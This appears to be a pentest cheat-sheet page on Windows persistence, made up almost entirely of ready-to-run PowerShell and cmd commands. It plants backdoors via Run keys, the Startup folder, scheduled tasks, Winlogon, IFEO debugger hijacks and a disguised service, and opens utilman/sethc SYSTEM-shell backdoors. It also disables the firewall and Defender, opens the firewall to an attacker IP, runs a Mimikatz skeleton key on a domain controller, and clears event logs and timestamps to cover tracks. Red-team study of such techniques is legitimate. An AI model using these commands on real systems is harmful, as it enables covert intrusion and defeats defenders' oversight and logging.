Persistence

Various techniques for maintaining persistence. Includes methods that can be accomplished both with and without elevated privileges. Will provide commands for both cmd.exe and PowerShell if possible.

Hack Responsibly.

Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.

Tools

As a Low-Privilege User:

Set a file as hidden

Set a file as Hidden. This can also be used to change other file property flags such as Archive and ReadOnly

$file = (Get-ChildItem $file_to_change) #can shorten command with gci or ls
$file.attributes #Show the files attributes
#Normal

#Flip the bit of the Hidden attribute
$file.attributes = $file.Attributes -bxor ([System.IO.FileAttributes]::Hidden)
$file.attributes
#Hidden

#To remove the 'Hidden' attribute
$file.attributes = $file.Attributes -bxor ([System.IO.FileAttributes]::Hidden)
$file.attributes
#Normal

Registry - HKCU

Autoruns

The following registry keys can be used to create persistence by auto-running your backdoor. Keys in HKCU do not require elevation to modify.

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

Create key values in the Autoruns keys in HKCU:\Software\Microsoft\Windows\CurrentVersion.

Run and RunOnce keys are run each time a new user logs in.

RunServices and RunServicesOnce are run in the background when the logon dialog box first appears or at this stage of the boot process if there is no logon.

New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -PropertyType String -Name $key_name -Value "$backdoor_path"
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce -PropertyType String -Name $key_name -Value "$backdoor_path"
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\RunServices -PropertyType String -Name $key_name -Value "$backdoor_path"
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce -PropertyType String -Name $key_name -Value "$backdoor_path"

By default, the value of a RunOnce key is deleted before the command line is run. You can prefix a RunOnce value name with an exclamation point (!) to defer deletion of the value until after the command runs. Without the exclamation point prefix, if the RunOnce operation fails the associated program will not be asked to run the next time you start the computer.

By default, these keys are ignored when the computer is started in Safe Mode. The value name of RunOnce keys can be prefixed with an asterisk (*) to force the program to run even in Safe mode.

Microsoft

Persistence via cmd.exe

If you want a defined set of commands to run every time a command prompt is launched, you can specify an init script in the Command Processor AutoRun registry value. Use an expandable string value (REG_EXPAND_SZ), which allows you to use environment variables like %USERPROFILE%.

reg.exe add "HKCU\Software\Microsoft\Command Processor" /v AutoRun /t REG_EXPAND_SZ /d "%"USERPROFILE"%\init.cmd" /f

Then create a file called init.cmd in your %USERPROFILE% folder:

@echo off

command_A
command_B
...

These commands will be run every time a cmd prompt is started.

Warning!

This can cause an infinite loop if your init.cmd causes another cmd window to be launched, as each one will again run all of the commands in the init file!

To disable this, delete the registry key.

reg.exe delete "HKCU\Software\Microsoft\Command Processor" /v AutoRun

Startup Folder

Create a batch script in the user startup folder to run when the user logs in.

Create start.ps1 in "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\". Then have this PowerShell script call your backdoor in $env:USERPROFILE\AppData\Local\Temp\.

#start.ps1
Start-Process -FilePath $env:USERPROFILE\AppData\Local\Temp\backdoor.ps1

A better alternative would be to create a .lnk file in the startup folder which points to your script in another location. This may be more OPSEC-safe, especially if the link is disguised. Use the PowerShell script linked below to create a (potentially hidden?) .lnk file using an icon appropriate for the environment:

https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/New-Shortcut.ps1

Scheduled Tasks

These commands will allow your backdoor to be run when the specified user logs into the machine. Combined with the cmd init autorun above this scheduled task could do something helpful or innocuous to avoid suspicion.

$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c $backdoor_path"
$trigger = New-ScheduledTaskTrigger -AtLogOn -User "$username"
$principal = New-ScheduledTaskPrincipal "$username"
$settings = New-ScheduledTaskSettingsSet
$task = New-ScheduledTask -Action $action -Trigger $trigger -Principal $principal -Settings $settings
Register-ScheduledTask $taskname -InputObject $task

Windows Services

May need some privileges for Windows services...

As an Elevated-Privilege User

All commands below this header require some sort of elevated account privileges. As I discover them, I will add which specific Windows privileges are required.

Windows Firewall

Disabling Windows Firewall

To view the state and settings of all Windows firewall profiles (this output is not as pretty as the netsh command from cmd.exe, but can be manipulated like any PowerShell object):

Get-NetFirewallProfile

To disable the Windows firewall for all network profiles:

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

If you only want to disable the firewall for a specific profile, you can remove the profile name (Domain, Public, or Private) from the command. This can be useful if you are unable to fully disable the firewall.

Create firewall rules

TODO: add more

New-NetFirewallRule -Name $rule_name -DisplayName $rule_name -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress $attackers_IP

Disable Windows Defender

TODO: add more info

Set-MpPreference -DisableRealtimeMonitoring $true

Registry - HKLM

Autoruns

The following keys can be used for persistence in addition to the low-privileged ones above. Keys in HKLM require elevation to modify.

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

Create key values in the Autoruns keys in HKCU:\Software\Microsoft\Windows\CurrentVersion.

Run and RunOnce keys are run each time a new user logs in.

RunServices and RunServicesOnce are run in the background when the logon dialog box first appears or at this stage of the boot process if there is no logon.

New-ItemProperty -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Run -PropertyType String -Name $key_name -Value "$backdoor_path"
New-ItemProperty -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce -PropertyType String -Name $key_name -Value "$backdoor_path"
New-ItemProperty -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\RunServices -PropertyType String -Name $key_name -Value "$backdoor_path"
New-ItemProperty -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce -PropertyType String -Name $key_name -Value "$backdoor_path"

By default, the value of a RunOnce key is deleted before the command line is run. You can prefix a RunOnce value name with an exclamation point (!) to defer deletion of the value until after the command runs. Without the exclamation point prefix, if the RunOnce operation fails the associated program will not be asked to run the next time you start the computer.

By default, these keys are ignored when the computer is started in Safe Mode. The value name of RunOnce keys can be prefixed with an asterisk (*) to force the program to run even in Safe mode.

Microsoft

Winlogon Helper DLL

Run backdoor during Windows logon

Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, $backdoor" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, $backdoor" -Force

GlobalFlag

add powershell

Add the following three keys to the registry to allow your backdoor to execute whenever Notepad.exe closes.

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"

Debugger

You can also abuse this to run your backdoor whenever Notepad.exe is opened with two registry keys:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "pentestlab.exe"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe"

This process can be automated by using this PowerShell module from netbiosX.

Scheduled Tasks

Scheduled Task to run your backdoor as NT AUTHORITY\SYSTEM, everyday at 9am.

add cmd.exe

$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c $backdoor_path"
$trigger = New-ScheduledTaskTrigger -Daily -At 9am
$principal = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet
$task = New-ScheduledTask -Action $action -Trigger $trigger -Principal $principal -Settings $Settings
Register-ScheduledTask $taskname -InputObject $task

Windows Services

Create a service that can start automatically or on-demand as needed.

New-Service -Name "AppReadiness" -BinaryPathName "$backdoor_path" -Description "Gets apps ready for use the first time a user signs in to this PC and when adding new apps."

Execute (remote) commands with DCOM

https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

Win32_DCOMApplication class. This COM object allows you to script components of MMC snap-in operations.

$com = [type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","$env:COMPUTERNAME")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.application.ExecuteShellCommand("C:\Windows\System32\Calc.exe",$null,$null,"7")

For this to work, you must also be local administrator of the remote system, Windows Defender must be bypassed or disabled, and (to do this remotely) the Windows Advanced Security Firewall must have the following rules enabled:

  • COM+ Network Access (port 135)

  • A rule to let dynamic ports for C:\windows\system32\mmc.exe in. Regular RPC-EPMAP rules from other services won’t work as they only allow traffic to svchost.exe.

If the firewall doesn’t let you in, you may receive messages such as:

Exception calling “CreateInstance” with “1” argument(s): “Retrieving the COM class factory for remote component with CLSID {C08AFD90-F2A1-11D1-8455-00A0C91F3880} from machine target failed due to the following error: 800706ba target.”

The ShellExecute method of the object takes 4 parameters:

  1. The complete path to the executable

  2. The directory to be considered as current directory; you may want to usually pass NULL

  3. A list of arguments to pass along to the executable. In case there is none, you can also pass NULL

  4. The state of the windows (1 - Normal, 3 - maximized, 7 - minimized).

Usually, you will want to use 7 as a value (minimized). You do not get any output back.

Replacing Windows Binaries

Replace these binaries with your backdoor to enable easy persistence with minimal interference with normal users. However, beware using these on systems where the user needs these accessibility tools!

In Metasploit : use post/windows/manage/sticky_keys

Enable RDP on a remote host with PowerShell:

Remove the -ComputerName $computername property to run on the local machine.

$RDPstate = Get-CimInstance -Class Win32_TerminalServiceSetting -Namespace Root\CimV2\TerminalServices -ComputerName $computername
$RDPstate.SetAllowTSConnections(1,1)

Disable RDP on a remote host:

$RDPstate = Get-CimInstance -Class Win32_TerminalServiceSetting -Namespace Root\CimV2\TerminalServices -ComputerName $computername
$RDPstate.SetAllowTSConnections(0,0)

Check RDP status:

$RDPstate = Get-CimInstance -Class Win32_TerminalServiceSetting -Namespace Root\CimV2\TerminalServices -ComputerName $ComputerName
$RDPstate.AllowTSConnections

The first argument represents AllowTSConnections(0 – disable, 1 – enable) and the second one represents ModifyFirewallException (0 – don’t modify firewall rules, 1 – modify firewall rules). You can read more about it at https://docs.microsoft.com/en-us/windows/win32/termserv/win32-terminalservicesetting-setallowtsconnections

RDP Backdoors

utilman.exe

After adding this registry key, RDP or physically log into the machine. At the login screen, press Win+U to get a cmd.exe prompt as NT AUTHORITY\SYSTEM.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

sethc.exe

After adding this registry key, RDP or physically log into the machine. At the login screen, repeatedly press F5 when you are at the login screen to get a cmd.exe prompt as NT AUTHORITY\SYSTEM.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

Skeleton Key

Mimikatz gives you the opportunity to backdoor an entire domain at once by using the skeleton key module. This must be run by a user with Domain Admin credentials to work properly.

# Exploitation Command (run as Domain Admin):
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName $FQDN_of_DC

# Login using the password "mimikatz"
Enter-PSSession -ComputerName $ComputerName -Credential $Domain\$UserName

Clear Windows Event Logs

Generates Windows event 1102 when you clear logs!

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil

@echo off

FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo All Event Logs have been cleared!
goto theEnd

:do_clear
echo clearing %1
wevtutil.exe cl %1
goto :eof

:noAdmin
echo Current user permissions to execute this .BAT file are inadequate.
echo This .BAT file must be run with administrative privileges.
echo Exit now, right click on this .BAT file, and select "Run as administrator".  
pause >nul

:theEnd
Exit

Unblock-File -Path "<C:\Path\to\blocked\file>"

Legacy Windows Log format

The Clear-EventLog cmdlet deletes all of the entries from the specified event logs on the local computer or on remote computers. To use Clear-EventLog, you must be a member of the Administrators group on the affected computer.

Get-EventLog -List

<#
Max(K)   Retain   OverflowAction      Entries  Log
------   ------   --------------      -------  ---
15,168        0   OverwriteAsNeeded   20,792   Application
15,168        0   OverwriteAsNeeded   12,559   System
15,360        0   OverwriteAsNeeded   11,173   Windows PowerShell
#>

-List Displays the list of event logs on the computer.

To list logs on other systems

Get-EventLog -LogName System -ComputerName Server01, Server02, Server03

If the ComputerName parameter isn't specified, Get-EventLog defaults to the local computer. The parameter also accepts a dot (.) to specify the local computer. The ComputerName parameter doesn't rely on Windows PowerShell remoting, so you can use this even if your computer is not configured to run remote commands.

The Remove-EventLog cmdlet deletes an event log file from a local or remote computer and unregisters all its event sources for the log. You can also use this cmdlet to unregister event sources without deleting any event logs.

Get-EventLog uses a Win32 API that is deprecated so the results may not be accurate. Use the Get-WinEvent cmdlet instead on systems running Windows Vista+.

List updated log formats in Windows Vista+

Get-WinEvent -ListLog *

Warning! information overload! Lists each individual windows event rather than the log files

To clear all logs at once

Lists all of the non-empty logfiles, then clears each one.

Legacy command (may not be completely accurate in Windows Vista+)

Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }

Windows Vista+ Logs

Get-WinEvent -ListLog * | where {$_.RecordCount} | ForEach-Object -Process { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName) }

Windows built-in command (not pure PowerShell)

wevtutil el | Foreach-Object {wevtutil cl "$_"}

Can disable logging prior to doing things that would alert defenders, or can clear logs afterwards to cover tracks...TODO add more details

Misc - to sort

Change File Modified Date and Time

(dir $file).LastWriteTime = New-object DateTime $YYYY,$MM,$DD

Resources

If you like this content and would like to see more, please consider buying me a coffee!

Last updated